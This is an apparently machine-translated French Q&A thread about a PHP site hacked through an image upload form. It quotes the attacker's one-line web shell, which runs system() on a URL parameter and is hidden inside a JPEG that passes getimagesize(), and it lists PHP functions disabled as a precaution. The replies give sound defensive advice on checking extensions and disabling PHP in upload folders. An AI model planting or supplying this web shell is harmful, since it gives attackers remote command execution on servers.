Mon php site a été piraté par des codes de téléchargement comme image..?

Hier, mon site est composé. L'attaquant des changements de la index.php fichier pour leur propre (avec toute leur gloire messages et le salue). J'ai notifié à la société d'hébergement sur ce sujet (nous sommes en cours d'exécution sur un serveur dédié), et pour ma part, je suis en train de régler tout ce qui semble être la cause, parce que je suis toujours incapable de point quelle est la genèse de notre serveur a été attaqué, mais je crois que j'ai trouvé certaines de script basé sur les lacunes qui pourraient éventuellement être le coupable.

Notre site a une image uploader forme, mais toutes les images téléchargées sont vérifiées si ils sont en effet un fichier image et pas certains codes en utilisant php, la fonction getimagesize. Uniquement si le type d'image est IMAGETYPE_GIF, ou IMAGETYPE_JPEG, ou IMAGETYPE_PNG pour qu'ils soient acceptés. Sinon, ils ne seront pas en mesure de télécharger le fichier. Cependant j'ai trouvé que celui téléchargé le fichier image contient un script php à l'intérieur! Vous pouvez télécharger l'image ici. C'est un fichier image valide, mais essayez d'ouvrir l'image dans un éditeur de texte et vous trouverez un code php à l'intérieur:

<?php

echo "<pre>"; system($_GET['cmd']); echo "</pre>";

?>

Par exemple, l'image est téléchargée à cet emplacement (www.mysite.com/uploads/picodes.jpg). Prendre note que le dossier uploads' permission 755. Est-il possible dans le monde, l'attaquant peut exécuter du système (ou de toute autre commande comme transitoire, puisque nous avons trouvé une autre image a le même code caché comme ci-dessus, mais au lieu de système, il a passthru de commande), par exemple, en tapant www.mysite.com/uploads/picodes.jpg?cmd=some la commande ?? De ma connaissance, il ne peut pas être fait (vraiment reconnaissant si quelqu'un peut me prouver le contraire), à moins que l'attaquant peut renommer le fichier jpg pour php, et de même que, ces codes sont cachés profondément à l'intérieur de l'image (voir l'image à l'intérieur de l'éditeur de texte pour comprendre ce que je veux dire)

Pour les précautions, j'ai désactivé ces fonctions php (exec, passthru, proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,système) en les ajoutant sur le disable_functions en php.ini.

De toute façon je continue de penser que l'attaquant accède pas par internet, mais via le serveur de l'exploiter, mais je pense que mon entreprise d'hébergement est d'un avis contraire.

Selon la configuration de votre serveur, si votre image vérificateur ne vérifie pas les noms de fichiers, il peut être possible que cela puisse être exploitée, par exemple, si la personne qui télécharge le fichier avec un nom qui a une .php extension. Mais c'est vraiment une question pour le Serveur Faute. C'est ce que tu voulais savoir?
Merci pour la réponse de david, mais comme je l'ai mentionné ci-dessus, tous les fichiers téléchargés sont vérifiés en premier lieu, et seulement s'ils sont fichier image (gif,jpg ou png) pour qu'ils soient acceptés. Sinon il sera rejeté. Si le téléchargement d'un fichier .extension php ou tout autre raw codes avec n'importe quelle extension est vouée à l'échec.
Eh bien, vous avez dit que vous utilisez getimagesize pour vérifier que l'image est une image, mais que la fonction ne pas vérifier l'extension du fichier. Il ne porte que sur le contenu du fichier. (Essayez: renommer picodes.jpg à picodes.php et de voir ce getimagesize("picodes.php") vous donne.) Donc, vous devez également explicitement vérifier le nom sous lequel le fichier est téléchargé, et assurez-vous qu'il correspond au type d'image renvoyée par getimagesize.
OMG... comment puis-je oublier ce genre de chose??!! Merci beaucoup David!
php_admin_flag engine off pour tous les répertoires/locations-vous stocker les mises à jour devraient être une partie de votre configuration d'Apache.

OriginalL'auteur imin | 2010-08-17